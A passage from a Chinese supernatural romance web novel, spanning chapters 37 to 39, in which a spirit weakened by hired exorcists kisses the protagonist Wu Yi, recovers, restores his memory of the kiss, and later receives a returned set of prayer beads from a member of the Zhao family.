赵问期惊惧地走过去,看见赵机原本黝黑的头发一瞬间变得苍白,浑身都是属于耄耋老人的斑点和沟壑,看上去比原先要老了二三十岁。 冰冷的触感落在头顶,赵问期瞬间爆发出惊恐的叫声,整个人栽倒在地上,手脚并用往后爬,想要躲开那黏腻而又悚然的力量。 仓促间,他抬头对上了那双沉沉的红色眼眸。 里面此时泛着诡异的光芒,脸上没有丝毫的情绪,就像是全然失去了理智那般。 他从未感受过自己距离死亡这样近,想也不想便声音颤抖道:“不是我,是他,他的主意,其实您的东西早就被赵斐然拿到手了,但爷爷不想把那东西还给您,就一直拖延,其实背地里一直偷偷联系那些据说可以除祟辟邪的天师法师,屋子里这些烧的东西就是用来对付您的,但我真的不知情!” 一片狰狞的雾气自男人手中窜出,幻化成鬼魅般的面孔张开大嘴朝着他扑来。 赵问期顿时爆发出惊惧的叫声,悚然抬手遮挡。 “卿卿——” 乌宜气喘吁吁跑进大厅便看见这一幕,顾不上看倒在地上的赵问期,他走近后看清楚赵机衣服上都是血的模样,顿时感觉手脚冰凉。 他怔了几秒,转头去牵卿烛的手。 “你没事吧?” 卿烛的目光一寸寸挪向他,却不比平时从容散漫,反而显得冰冷而无情,看起来完全像是个陌生的存在。 乌宜觉得奇怪,可还是耐心抓着他的手放下来,“你没受伤吧?” 他说着,担忧地去打量卿烛身上的其他地方,确定没有不对劲,才松了口气。 卿烛的手微微放下,可不多时又顺着他的后背,圈住了他的脖颈。 “好冷。”乌宜蹙紧眉头,本能地感觉到了危险,可是心里却没有丝毫的恐惧,反而就着他的力度直接撞进他怀里,用力抱住了他劲瘦结实的腰身。 “我害怕卿卿,我们回家好不好?” 他看见了外面的那些,也听见了赵问期最后的那句话,可是他也不想多问什么。 在他的心里,卿烛并不是十恶不赦的人,即便赵机出了什么事,那也是他应得的,卿烛对赵机已经仁至义尽了。 后颈的力道愈发重了,乌宜几乎感觉到修长的手指扣在自己的侧颈,让他逐渐呼吸不上来。 同样的,他也收紧了抱着卿烛的力道,想要让对方也感受到他同样的心情。 分明什么也没有做,可是他却不自觉湿了眼眶,难以言说的委屈升腾翻滚,脊背不自觉微微颤抖起来。 “我想回家了。” 覆在后颈的手顿了顿,缓缓松开了。 赵问期看着眼前的一幕,只能屏住呼吸减少自己的存在感。 他缩在椅子边上,小心翼翼地去看倒在地上的赵机,他看起来像是一颗没了生机的枯树,再没了平日的气势。 惊惧之余,他心里竟然也没有多少难过。 再回过神,他才发觉原本在大厅的两人不知何时已经消失了- 将车驶离赵家,乌宜随便找了个没人的角落停下,才转头去看后座的卿烛。 他此刻是人身,可周身蔓延着浓密的黑雾,化作一缕缕鬼魅般的投影四处飞窜,像是某种意识涣散的象征。 “卿卿,你还好吧?” 乌宜很担心,索性从中间钻到后座,伸手去摸卿烛身上的温度。 好烫。 他想到刚才赵家那比前两次来还要难闻的臭味,心底大致有了猜想。 他不知道要怎么办才好,只能拧开一瓶矿泉水,递到卿烛的唇前。 “卿卿你喝一点吧,把那些味道冲掉,这里没有人在烧那些臭东西了。” 卿烛蹙眉睁眼,冷冷地看向他,平直的唇抿着,面色狠厉,是很不配合的样子。 乌宜拿他没办法,水弄得到处都是,心里又害怕起来。 “你不要那么倔。” 手机咚咚咚响起,他恍然反应过来什么,接起电话。 是李青泉,他被秦念语从酒店带走,第一时间就联系了他。 “我跟你说,赵机这次请的那几个人也有点本事,他们那些手段虽然不入流,但如果够狠的话也是能让你们喝一壶的,千万要小心。” 他嗓子还是哑的,却已经在着急提醒乌宜。 乌宜眼眶蓦然一湿,看了一眼重新合上眼眸,皱紧眉头明显不适的卿烛。 “他现在已经中招了怎么办?看起来很不对劲,还差一点在赵家……” 他不知道自己应不应该说,也不确定赵机到底是死是活,只能犹豫着顿在这里。 李青泉听后也是一怔:“没想到他们还有几分本事,他现在是什么状态?” 乌宜看了看卿烛,连忙描述:“不说话,看起来很不舒服,还有一点点伤人倾向。” 倘若李青泉刚才看见了赵家的那一幕,一定会控诉他描述不准确,奈何他此时在手机对面什么也不了解,便只能根据乌宜说的情况判断。 “那应该不是很严重,毕竟他不是一般人,自己消化一会就好了。” “真的吗?”乌宜不放心,连忙又补充,“他身上还很烫。” 李青泉说:“正常的,你可以做点让他高兴的事情,如果是人身的话就不严重,多吃点东西就好了,如果脱离了身体……就让他好好休息吧。” “好。” 乌宜挂了电话,却不知道怎么样才能让卿烛高兴。 卿烛平时倒是喜欢逗他,可现在这么沉默,他总不能自己逗自己吧。 纠结着,他看了看卿烛紧蹙的眉头,大着胆子□□坐在他的怀里,“卿卿你是不是头痛啊?我给你按一按吧。” 卿烛微微偏过头去,他却没有就此罢休,抬起手轻轻地摁住对方的太阳穴,其他手指窜入发丝中,不轻不重地给他按揉着穴位。 眉心逐渐舒展开,卿烛始终阖着眼,乌宜坐在他的腿上,跟他差不多高,看着近在咫尺的那张冷厉面容,他心中忽然窜出一阵难以言说的怅然。 他其实也是难过的吧。 明明为了赵机也做了那么多,前两次的发作也都是警告,可对方还是不知悔改,多让人失望。 如果是他的话,恐怕早就委屈的不行了。 一直按到手指酸痛实在没了力气,他才终于松开,可手却没有离开,只是微微往下收,捧住了卿烛的脸。 “不难过好不好?不是还有我陪着你吗?” 他声音认真,带着点儿委屈过的软糯和懵懂。 恍然间,他看见卿烛睁开了眼睛,泛着微微碎光的殷红眼眸紧盯着他,里面的情绪依旧很少。 两个人靠得太近,几乎能感觉到气息交织在一起,很热。 饶是乌宜再迟钝也意识到这个姿势不太对,下意识松开手要坐直身体,可后背不知何时抚上手掌,却忽然将他向前一按。 整个人狠狠撞上去,柔软的嘴唇不慎蹭过了卿烛的侧颈。 他正觉得尴尬,那只手向上游移到后颈,手掌收紧握住,卿烛顺势垂首,在他仓皇抬头时落下。 炙热的熟悉的气息交融,唇瓣被贴住,他倏然睁大眼睛,看见了那阖上的狭长眼眸微微睁开,长如鸦羽眼睫下宛若红宝石的眼珠。 他呼吸几乎停滞住了,身体僵硬而无措。 男人灼热的呼吸伴随着吻他的动作丝丝缕缕流窜,嘴唇被不轻不重地吮住,往里抵进。 这个吻很慢却很深。 嗡的一声,乌宜脑海中几乎炸开了惊雷,突如其来的亲吻让他整个人都懵了,手下意识放在卿烛胸前想要将人推开,被掠夺的呼吸又使得他浑身毫无力气。 身体软下去,只能被动地张开了嘴—— 作者有话说:小宜:今天和卿卿亲亲了[红心] 第38章 回到家里, 卿烛像个没事人回到房间,乌宜慢吞吞跟在后面,抿一下红肿发麻的嘴唇, 心里就窜起酸涩的感觉。 到底什么意思啊。 他上了楼,发现卿烛的身体被平稳放在床上,可从身体里涌出的黑雾却笼罩在上方,漫天窜动,像是猫咪打架时飞扬起的毛发。 “……” 所以是亲完他又变虚弱了吗? 原本还想找卿烛要个说法的他顿时又失望下来, 只能默默关上门离开。 一个人待在家里,今天发生的一切他都没空去想,只是忍不住去猜, 卿烛亲他是什么原因。 李青泉说让他做些高兴的事情, 那是不是代表……卿卿亲他的时候很高兴呢? 但这种亲密的事情他们做好像不太合适,想着, 他又回忆起了盛莲安和程简,那样亲密无间的爱人, 才能接吻,他和卿烛又算是什么关系呢? 第一次,他认真思考起了这个问题。 只是没等他想出个所以然来, 就忽然听见外头有人敲门, 只得作罢,穿上鞋跑去开门。 智能猫眼屏幕透出李青泉的脸, 他一打开,吐槽声就传了进来。 “我今年估计是没在我师傅边上让他给我算命,导致我这么倒霉,好不容易接到一个大活,去的路上就被绑了, 在那破酒店待着,关我的那两个人也跟哑巴似的一句话不说,要不是秦女士带人……诶?你嘴怎么红红的?” 李青泉正穿着鞋,注意力忽然被他的脸给转移了,一个劲盯着。 乌宜顿时惊慌起来,不自然地摸摸嘴巴,小声说:“上火了,我最近吃好多火锅。” “天冷就得吃火锅啊,我也想吃,抽个空咱们一起去呗,我请你。”李青泉没放在心上,换了鞋就往屋子里走,“别说,你这样还挺好看的,嘴巴肉嘟嘟的。” “……” 乌宜拧着眉头进去,有点犹豫要不要跟他说这件事,可是又觉得好尴尬。 “对了,你家卿卿怎么样了?” 李青泉自顾自去岛台倒了水喝。 乌宜心底咯噔一下,犹豫着走过去,“他有点不对劲,现在直接脱离身体了。” “没事,我方便上去看看吗?” 这段时间相处下来,乌宜已经很信任他了,此时便也没有拒绝,带着他上去从门缝里看了一眼。 挂上门,李青泉不仅咂舌,“你家卿卿真厉害啊,我从来就没见过这么强的邪气,我记得我见过邪气最满的东西,是个住在山上的玩意,那时候我还小也不知道是什么,那东西在村子里伤了不少人,最后是我师傅把他消除的,你猜他身上的邪气有多少?” 乌宜懵懂地摇摇头。 “就这么大。”李青泉比划了一下自己的拇指哥,“淡到几乎看不清,但已经算是很强的怪物了,我师傅也费了一番功夫才把它消灭的。” 乌宜看了他的比较,不由得吃惊,“这么点。” “是啊,所以我说你其实也不用担心你家卿卿,他那么强,也就是现在会难受点,顶多两天自己就痊愈了。” 李青泉说着往楼下走,一边问他把吃的都放哪了,“我在酒店饿了一天,活都被弄黄了,必须得吃点东西缓解一下压力。” 乌宜指了橱柜给他看,又想到什么,不好意思地说:“那个……卿卿不清醒的时候总是往我的身上贴,有什么说法吗?” 他趁着李青泉沉醉于食物的选择,换了一个更为委婉的说法。 好在李青泉也没怎么听明白,想也不想便道:“这很正常,所以我说要找点让他高兴的事情做,那个时候他正虚弱着,下意识就会贴近自己喜欢的东西。” 砰砰—— 乌宜似乎听见了自己心跳加速的声音。 他有些不敢相信,卿卿是喜欢他吗?不同于普通的喜欢,是盛莲安和程简的那种喜欢…… 还没等他生出什么感想,李青泉就一拍手,豁然开朗。 “我懂了!你卿卿上人身的时候严格意义上来说是个人,我打个比方吧,假如说你觉得很冷,是不是应该朝着自己感觉温暖的地方靠?“ 乌宜似懂非懂地点点头:“嗯。” “所以说他那时的状态也一样,他身上只有属于他自己的邪气力量,却没有真人的阳气,而你是他身边唯一一个活人,也不能这么说……不过意思差不多,反正就是因为这样,他才会不由自主地靠近你,因为你身上的阳气让作为人的他本能想要靠近。” 李青泉说完这么一长串,起开香橙汁的瓶盖,畅快地喝了一大口。 “是这样吗?” 乌宜抬眸看向他,心底泛起了莫名的失落,他自己都搞不清是什么原因。 “嗯哼?”李青泉撕开猪肉脯的袋子,往嘴里塞了一大片,“我虽然是个准天师,但跟专业的相差并不大,只是有些实操不合格,所以我师傅才让我下山来历练嘛,但是我理论知识可是很强的哦,这点你千万别质疑,想想你之前那些麻烦,我提的那些建议是不是都非常有用?” “嗯。” 的确是这样。 所以……卿烛那个时候亲他,就只是想要所谓的阳气吧。 乌宜抬手摸了摸自己的嘴唇,心情一片复杂。 李青泉休息一会儿便开始联系被自己放鸽子的那户人家,拿着电话跑跑到外庭好说歹说,乌宜听着外面传来的动静,心情还是一片复杂。 他长这么大还没跟谁有这么亲密的接触,只有卿烛。 还没有人身的时候,他时常幻化成小蛇,为了避免被外人看见,便循着他的衣领往肩头手臂方向流窜,那时候他并没有感觉不妥。 可有了今天这个莫名其妙的吻,他回想起两人过往的相处,却怎么想心里都不自在。 啊啊啊! 抓狂地捏了捏怀里的抱枕,他决定不再继续多想,起身上楼,洗漱前又去房间里看了卿烛的情况,那在空气中蔓延流淌的黑雾变得淡了许多,人身的温度也不比回来路上那样滚烫。 松了口气,他看了看卿烛单薄而平直的唇,有点慌乱地移开目光,关上门出去,连忙回到了自己的房间。 一整天的时间过去,第二天下午,卿烛已经基本恢复了正常,力量尽数涌入身体之中,温度也是平常的温热。 李青泉进去看了一眼,啧啧称奇:“真是厉害啊,我看估计今晚就能醒了。” 听了这句,乌宜的脸色微微变了,逃一般离开房间,有点不敢在里面多待。 其实他很想问李青泉,卿烛这种情况,醒来以后是否还会记得之前的事情,可是他前面已经说了太多,他怕再暴露信息,李青泉就会猜到那天他们两个干了什么。 “诶对了,你那天怎么知道我情况的?我听秦阿姨说是你提醒她的。” 李青泉跟在他后面下楼,后知后觉想起来什么。 乌宜迟钝回神,啊了一句,“是一个不认识的人给我打的电话,听声音是有点上年纪的,很严肃,说完就直接挂掉了。” 他见李青泉一副摸不着头脑的模样,又忍不住说了自己的猜测:“其实我觉得可能是你师傅。” “他说的?” “没有,但是我听完你的消息以后第一感觉就是他。” 李青泉听完,不由自主地流露出了感动的表情,“我猜也是,他老人家虽然在山上的时候总是嫌我烦,但其实对我还是很上心的嘛。” 他说着,就要去楼下找自己的手机,给师傅拨个电话。 乌宜却有些好奇:“他在山上,又是怎么知道你的情况的?” “这个我也不懂,一会我打电话问问,对了……你要不要跟我一起?” 或许是因为李青泉的态度过分热情,乌宜鬼使神差地答应了。 今天阳光正好,两人坐在院子里打电话,手机画面倒映出两人坐在秋千上的画面,过去很久都没有接通。 李青泉宽慰他:“没事的,我师傅这个人就是这样,傲娇,每次都不好意思直接把电话接起来,要等到快挂断的时候才装作不经意,你等着吧,他指定会接的。” 乌宜点点头,又是等了十几秒,卡在铃声要关闭的那一刻,对面果然将电话接了起来。 他朝着李青泉投递了一个惊讶的眼神。 “什么事?” 对面看起来是将手机平放在桌面,只露出一个天花板,没有人,说话的态度漫不经心还带着点不耐烦。 李青泉却很热情:“师傅,是我啊。” “哦,怎么了?” “谢谢您提醒我朋友,我现在已经被救出来了,昨天太晚就没给您报平安,现在和您说一声。” “嗯。” 对面的态度始终不冷不热,乌宜忍不住好奇地去看李青泉,有些手足无措。 “对了,您怎么会知道我被关起来了?难不成是特意为我算的?”李青泉说到这差点憋不住笑,全然是一副骄傲自得的模样。 谁料对面冷笑一声,却是道:“你可不值得我这么上心,是有人告诉我的。” “啊?”李青泉的表情肉眼可见地失落下来,但还是保持着好奇心,“谁啊?您平日不是跟谁都不联系,就连我前些日子打的电话都没接,忙什么呢。” “是赵家的人,“ 空缘天师这会儿倒是有耐心回答了一句。 “哈?” “他们想和我交换,我说你不值这个价。” “靠,居然打的这个主意。” 李青泉不由得恼怒起来,扭头看向乌宜,用眼神狠狠谴责。 乌宜眨眨眼,什么也没说,但心里也觉得这一家人可恶的很。 还没等李青泉再吐槽什么,对面忽然道:“你边上这位是?” 乌宜顿时挺直脊背,有点儿紧张起来。 李青泉把手搭在他肩膀上,顿时将方才的那些恼怒都甩到脑后,笑眯眯道:“是我在云京认识的新朋友,他人挺好的,帮了我很多。” 乌宜忙道:“空缘大师您好。” “你好。” 李青泉琢磨着这话语中的语气,问:“师傅,等我有空回山上,我能带上他吗?” 没想到他现在就会问这个问题,乌宜不由得紧张起来。 原以为对方会询问什么,不料李青泉的师傅只是顿了两秒,便道:“你想带就带吧。” “得嘞,您肯定也会喜欢他的,乌宜人特别好。” 对面意味不明地笑了笑,只道:“没事就挂了,回来前记得说一声。” “好,您多保重身体。” 后面的对话还算和谐温馨,挂断电话后,乌宜的身体放松不少,李青泉却是意犹未尽。 “我师傅这次估计是真的担心我了,平时从来不跟我说这么多嘘寒问暖的话,他肯定也特别感谢你。” 乌宜也不知道他怎么从空缘大师那么简短的几句话中解读出这么多含义的,但还是配合道:“毕竟你是他唯一的弟子嘛。” “诶,此言差矣。”李青泉连忙澄清,“其实我原先还有个师兄的,不过他后来下山了,我都没怎么见过。” 乌宜见他似乎也不太了解这些事情里的弯弯绕绕,便没有多问。 他正想着询问李青泉之后的安排,余光就瞥到院子外面出现了一道影子。 是林白杨。 见到这个人,乌宜倒是没什么情绪起伏,反而是李青泉倒吸一口气。 “我靠,他怎么来了?” 他还不知道林白杨之前对乌宜说的那些话,只是本能想起来先前聚会时阿牧传的那些八卦。 “不知道。” 乌宜坐在秋千上,没有要去开门的意思。 其实院门只有一道低矮的装饰门,林白杨可以直接伸手将其打开,但此时还是站在了外面,冲着两人尴尬地笑笑。 “方便聊聊吗?” 乌宜:“不方便。” 林白杨的笑容僵了一下,“不至于吧,我是专程来向你道歉的诶。” “不接受哦。”乌宜坐在秋千上晃着小腿,想了想,“而且我哥哥不让我给陌生人开门,你赶紧走吧。” 别人的主场,李青泉没有插话,只等他说完以后才附和着驱逐道:“去去去,别在人家门口站着。” 林白杨:“……” 他还要再说什么,就见楼上忽然掷下个什么东西,直直砸在了他的脚下,吓得他猛然后退两步。 花瓶炸开清脆的碎裂声,四分五裂。 他骤然一怒,抬头朝楼上看去,就见一道高大的黑影伫立在露台,身形在阳光的映照下显出几分虚幻,可这样遥远的距离,他却还能看清楚那双猩红冷戾的双眼。 背后升起寒意,他呼吸变得有些困难,竟然也没了那种计较的勇气。 乌宜听见那动静,身形也是一顿,很迟缓地抬起头来,看见了楼上的卿烛。 “醒这么快。”李青泉声音中也满是诧异,同时又不禁幸灾乐祸,“不会是听见你说的话了吧,你认证的哥哥里,就属这个最难惹。” “……” 乌宜这会儿一瞧见卿烛,心情就变得复杂万分,察觉到对方的目光从林白杨的身上挪开,落在自己身上,又仓皇地移开。 再回过神来,林白杨已经小跑着离开了,李青泉倒是很有兴致地站起来,冲着楼上的卿烛挥手。 “感觉怎么样啊?身上还不舒服吗?” 卿烛没有说话,直接转身回到了屋子里。 看着他身影消失,李青泉不禁啧了声,“怎么感觉这次醒来变得更高冷了,之前还能闲聊几句。” 乌宜下意识替他解释,“可能是还不太舒服吧。” 李青泉好奇要去看看,乌宜其实还不太想和卿烛对上,又担心他现在的情况,便看着李青泉进了客厅,自己又重新在秋千上坐下。 外面很安静,初春的阳光很暖,毛衣被晒得蓬松发软,他坐了一会儿,就忍不住打个哈欠。 刚闭上嘴,就看见穿着跟自己同款黑色羊毛开衫的卿烛走了出来,他长发散在身后,因为刚醒的缘故显得凌乱,有几缕微微打着卷,看得出来是他曾经打过辫子的那些。 到跟前,他并不想和卿烛对视,可耐不住对方已经立在了面前,便还是硬着头皮抬头。 “又不开心?”卿烛的嗓音很低,没什么情绪起伏。 一听他说话,乌宜心里就有点憋屈,摇摇头不说话。 卿烛沉默了几秒,才道:“赵机死了。” 心脏一颤,乌宜诧异地抬起头,有点不敢相信。 是卿烛导致的吗?脑海中再度翻涌起昨天赵家那惊悚可怖的一幕,以及他赶到时,满脸惊惧险些丧命的赵问期。 “他这些年凭借我的力量透支寿命,昨天那些力量被抽回,他自然维持不下去,一口气持续到今天凌晨,不到一点就走了。” 听了他的解释,乌宜才松口气,其实按照他的习惯,应该会问些具体,比如卿烛是怎么知道这个消息的,可他这会儿心里很乱,索性也没有追问。 可卿烛却并没有放过他,“你在想什么?” 那束目光冰冷落在头顶,只让乌宜感觉到紧张,他抿住嘴唇,“没什么。” “……” 卿烛没再开口。 头顶的太阳似乎变得更加热烈了,等乌宜再次抬起头,方才站在面前的人已经离开了,他却热到出了一背的汗。 不多时,他再回到屋子里,就见李青泉坐在沙发上看手机,听见脚步声便抬起头,表情试探。 “你们两吵架啦?” 乌宜觉得这并不算吵架,毕竟他们连争吵都没有,便只是摇摇头。 李青泉大致也能猜到他们闹了不愉快,毕竟跟乌宜住了一段时间,他对这两人的相处模式也大致有了了解。 卿烛性格本身就很淡,如果不是别人主动开启话题,他可能一天都说不上一句话,而乌宜又属于一哄就好的性格,所以他们再吵也不会有多过分。 “那要不咱们晚上吃火锅去?去岑阿姨家也行,不过他们今晚好像有其他活动,咱俩去也行。” 乌宜也不是很想待在家里,便毫不犹豫答应了。 天还没黑,两人便换了衣服出门,直奔火锅店。 吃饭的时候乌宜难得安静,闷头填饱肚子,嘴唇被辣到发红,白皙的脸颊也被热气蒸腾到红扑扑,生动漂亮。 “你看最近的热搜没有?盛莲安和程简居然又出来拍戏了,前两天盛莲安出院回家的时候被拍到采访,还说这个电影机会是他弟弟给他争取的,你说他弟弟不会是经纪人吧?” 乌宜端起水喝了一大口,闻言有点被呛到。 “应该不是吧。” “反正现在弟控组又加人了,我看另外两个居然是傅流晔和沈跃,神奇啊,诶……”李青泉说到这忽然感觉哪不对,狐疑地看了眼坐在对面斯哈斯哈吃虾滑的乌宜,“你跟盛莲安不会也认识吧?” 乌宜没敢回答,只好转移话题:“你接下来还有活吗?” 李青泉:“靠,你一说我又想起接的大活被搞黄,本来还指望赚点钱给自己组台电脑呢。” “……” 两人在火锅店聊了许久,李青泉点了啤酒,乌宜也试探着喝了一点,出门时被外头的冷风一吹,都裹紧了外套。 “唉,找个代驾吧。” 李青泉转头看见门口等待的几个代驾,随便找了个,带着乌宜上车。 乌宜其实并没有醉,只是感觉头晕晕的,更像是在封闭的室内待久以后离开的不适应。 望向窗外,他的心情始终沉沉压着,复杂到难以言说。 李青泉有一搭没一搭地说着自己的安排,他实在是有些醉,开始跟乌宜絮叨之后要把师傅接到山下的打算。 “我师傅真是辛苦,他整天待在山上,我跟你说,就连洗澡都要自己烧水,不知道他怎么受得了,反正我是觉得城市里生活舒服……” 远远瞧见熟悉的街道,乌宜把头转回来,小声说:“还是要和你师傅商量一下,可能他就喜欢这种生活呢。” “不懂,完全不懂。” 李青泉打个哈欠,碰巧此时代驾也将车驶入车库停好,乌宜便推开车门等他慢悠悠下来。 “我没事,不用扶我。” 李青泉还想跟他插科打诨几句,看见门口站着的人,忽然怔了一下。 “诶?” 乌宜顺着他的目光看过去,眼睛顿时一亮。 “沈跃哥哥!” 站在门口的俨然是许久未见的沈跃,他不知来了多久,身后停着的车已经熄了火,见乌宜终于朝着自己看过来,脸上便露出了和煦温柔的笑容。 跟自己相距遥远的人忽然出现在面前,这种感觉很难让人不激动,乌宜快步跑过去,见他张开手,便也撞入他的怀中,被他紧紧抱住。 “你怎么回国啦?” 沈跃摸摸他的头,笑着道:“回来处理一些事情,今天正好顺路过来看看你,听说你搬了新家,给你补送礼物。” 他说着松开乌宜,抬手冲过来的李青泉招了一下手,便将车后备箱打开,搬出了里面的东西。 “这是我淘的唱片机,下面这些是我猜你会喜欢的黑胶唱片。” 乌宜看着那个造型很漂亮的唱片机,眼睛顿时就亮了,“我好喜欢!” 天冷,他忍不住蹦了蹦,伸出手摸摸,丝毫没有掩饰自己眼中的喜爱。 他总是这样坦然热情,让送礼的人也感到相同的满足感,沈跃笑容渐深,“我帮你搬进去。” 乌宜点点头,走过去开门,抬头看见二楼房间的灯亮着,想到卿烛今天孤零零一个人在家,抿了抿嘴唇。 沈跃将东西搬进屋子,婉拒了乌宜让他留下的好意。 “我还有其他事情,过两天再来找你。” 乌宜穿着拖鞋送他到玄关,还有些依依不舍,“那你再走之前要给我发消息哦,最近我都没有什么事情。” “会的。”沈跃摸摸他的头,又想到什么,从大衣口袋里找出了两张邀请函,“这是我下个月去英国正式演出的邀请函,如果你有时间的话,可以来看。” 乌宜怔了怔,伸手接过。 “这场演出对我很重要,是我第一次的个人演奏。”沈跃挤出一个笑容,“哥哥希望你能来,但如果没空也没关系,也有现场录像,虽然效果不比……” “我会来的。”乌宜捏着那两张精美的邀请函,又重复一遍,“我一定会来的。” 沈跃如释重负,又俯身下来用力抱了抱他。 “谢谢你,小宜。” 沈跃走了,乌宜回到屋子里,看见一抹黑影从楼梯上一晃而过。 想到自己今天的态度,他也有点不好意思,猜想卿烛肯定记不清昨天发生的事情,便深吸口气上了楼。 上了二楼,卿烛立在宽大的落地窗前看着外面,高大的背影显得有些冷峻,光洁的玻璃上映出他凌厉的侧脸。 乌宜没在意,将刚才的事情说了一遍,又把两张邀请函在他面前晃了晃,“沈跃邀请我们去看他的演出,你去办手续好不好?” 卿烛总算扫了他一眼,“他邀请的是你。” “可是他给了两张票。”乌宜察觉到他似乎不太高兴,“有一张肯定是给你的。” “你自己去。” “……” 他拒绝果断,乌宜一怔,有些气不过他的态度,“你干什么凶我?” 卿烛不语,转身要走。 乌宜却拉住他的手,一时间终于憋不住藏了一天的委屈,“你干什么我都陪你去,为什么轮到我有事情,你就推三阻四的。” 他垂下脑袋,眼眶迟钝涌上酸涩。 “什么都是你说了算,你想就做,不想就不做,凭什么?” 不是说他是特殊的吗?为什么还是这种态度,做了那些事情,自己忘记了理直气壮的,留他自己惆怅忐忑。 他越是想,心里就越难受,还是忍不住哭了。 察觉到卿烛的目光落在他的脸上,他却不想再多言了。 “我讨厌你,以后再也不理你了。” 话落,松开手他就要走,可一缕黑雾卷起他的腰身,却是硬生生将他扯了回去。 后背重重抵入卿烛的怀中,他还未反应过来 ,整个人便被紧紧圈住,下一瞬,冰冷的手指落在他的太阳穴,丝丝缕缕的凉意窜入。 意识到卿烛要做什么,他下意识要挣扎,可身体却先一步软了下去。 昨天的记忆骤然回笼,伴随着卿烛的掠夺行为,他也不受控制地开始回忆。 他的视角看见卿烛立在赵家大厅,赵机狼狈不堪倒在地上,再度转到车内,他坐在卿烛的腿上,细长的手指给对方按摩。 画面倏然拉近,被卿烛罩着脸颊重重吻住的记忆再次袭来,这次他清楚听见了唇齿间溢出的、让人脸红心跳的喘息声。 随着冰冷从脑海中抽离,他也骤然回到了现实,不可置信地扭头看向身后人,隔着眼眶中朦胧涣散的泪雾,看清楚了卿烛脸上出现了从未有过的错愕—— 作者有话说:明天也是中午更 第39章 “放开我!” 乌宜奋力挣扎, 推开卿烛的手,踉跄两步站稳,下意识退后, 同还未反应过来的卿烛遥遥相望,只觉得无比丢人,恨不得找个地缝钻进去。 他从来没有过这样的感觉,他从那么小的时候就认识卿烛,卿烛是他此生最信任的人。 从前他拿卿烛当做朋友, 长大以后变成亲人,早习惯了无时无刻黏着他,无话不谈的同时也做那些很亲近的事情, 可他从来没有想过会变成现在这样。 亲吻是不同的, 那么凶那么重,在他脑海中留下了难以磨灭的印象。 房间里也不知安静了多久, 他眼中的泪逐渐散去,有些难为情地抹了把眼睛, 才听见卿烛开口的声音。 “所以你就是因为这个生气?” 他语气平静,可乌宜心中好不容易散去的愤怒,却随着他这句话变得更加热烈。 “不可以吗?这种事情对你来说寻常, 可是对我是不一样的。” 肩膀剧烈起伏, 他觉得很生气,可又不知道自己的愤怒究竟从何而来。 卿烛沉沉地看着他, 半晌只道:“你应该清楚我那时并不清醒,如果你因为我亲你生气,我向你道歉。” 他态度难得这样真挚,可乌宜听完,情绪却并没有好多少, 反而更加难受了。 “不用!我才不要你的道歉,值几个钱啊。” 他越说越别扭,索性大步往外走,回了自己房间重重关上门。 把自己狠狠摔进沙发里,他发泄般将抱枕都丢在地上,委屈又想哭,可是又说不清楚是因为什么。 一晚上他都待在屋子里,直到第二天早上实在饿了,开门要出去,就看见地上放着一只木箱子。 他沉了脸,不知道这是什么,俯身打开,却见里面都是纯金的首饰,几乎堆成了小山。 砰一声,他重重关上盖子,踩着棉拖鞋要把箱子往后推,却因为重量过分瓷实,反而自己被踢得倒退两步。 这么一来,他心里反而更气了。 下了楼,卿烛和李青泉都不在,虽然不知道是什么原因,但乌宜此时也并不想见到任何人,随便找了个面包吃,热了牛奶正准备端上楼,就听见门铃声忽然响起。 握紧杯子,乌宜在楼梯口站了很久,最后还是去开门了。 只是等靠近了大门,他才发现智能猫眼上倒映出了一张熟悉的脸。 是赵易。 对方穿着简单的大衣,手臂上还束着一块黑布,代表家里近段时间有人去世。 想到赵机死了,乌宜心里忽然间惊慌起来,看着外面人憔悴的模样,顿时冒出了不好的预感。 糟了,该不会是来报仇的吧。 门铃响了有一会儿,楼上却始终没有人下来,卿烛肯定不在。 虽然心里很不情愿,但他还是抬手拨了卿烛的电话,声音调小,对面很快便接了起来。 乌宜抿抿唇,小声说:“赵易来了。” 卿烛只停顿不到一秒,便道:“别开门,回房间待着。” “嗯。” 对面没有再说话,乌宜便也将电话挂断了,呆呆地又盯着手机页面看了一会儿,才转身准备回楼上去。 不料这时候,赵易却在外面开始喊话了。 “小宜,我知道你在家,但我没有恶意。” 乌宜犹豫着看了一眼大门,见外面的人还是安安静静站在那,并没有任何其他的行为,试探着停在门口。 赵易似乎猜到了他在里面听,此时深吸口气,说:“我是来给卿先生送东西的,如果你不愿意见我的话,我先放在门口,你等我走了以后再出来拿。” 他说完,便俯身从地上搬起一只小小的箱子,冲着猫眼的位置展示一下,然后又将其放在了镜头能扫到的地面上。 “我放在这里,你尽快出来拿,我知道因为爷爷的事情,你对我很警惕,但从头到尾我都没想过要害你和卿先生,如果你们愿意的话,之后我们可以坐下好好聊聊。” 乌宜其实满肚子疑问,但他没敢开门,只看着赵易又在门口站了一会儿,然后叹了口气,似乎是准备转身离开。 他看着这一幕松口气,但还没完全放松,一缕黑影就骤然出现在在院中,猛然束住赵易的脖颈。 砰的一声,赵易的后背猛然撞上廊下围墙。 下一瞬,银色的跑车疾驰而来,乌宜甚至只看见了模糊的残影,眨眼的功夫剪刀门升起,卿烛俯身下车,长发被风吹拂起,面色森寒冷戾。 看见情况不对劲,乌宜连忙打开房门出去。 赵易原本正紧蹙着眉看向院外,听见开门声又下意识朝着穿着睡衣和拖鞋的乌宜看过来。 被他一盯,乌宜忽然有点局促,自己偷听的行为这么快就被戳穿,让他很心虚。 “他是来送东西的。”他回过神,还是解释了一句。 卿烛大步走入院中,目光落在地上的木箱,手轻轻一抬,那缕制住赵易的黑雾就猛然收回,窜入了他的身体。 赵易呼吸沉重,脸色不是很好看。 “卿先生,小宜。” 乌宜只冲他点了点头,没敢多说什么。 卿烛走到檐下,没有俯身去开箱子,沉重的木盖就自动打开,浓郁的黑雾四散,尽数进入了卿烛的身体,而在这之后,才展现出箱子里面放着的一串纯黑色佛珠。 乌宜什么也没说,只是静静地看着。 卿烛垂眸抬手,似乎是在判断什么,继而将目光落在赵易的身上。 “这东西对吗?”赵易似乎也不敢确定。 “你什么时候从赵斐然那取走的。” 他没有回答问题,但赵易听出他的意思,松了口气,“我父亲他前两天就已经落地回国了,只是一直没回来,昨天我爷爷去世,他才终于赶回来,我猜测他应该不准备将这样东西还给您,所以擅自将他拿了出来。” 卿烛:“你比他识时务。” 赵易轻轻地笑了笑,“我父亲毕竟比我多活了几十年,他更在乎利益。” “你不在意?” 乌宜在边上听着他们说话,隐约间好像猜到了什么,可一时间又无法确定。 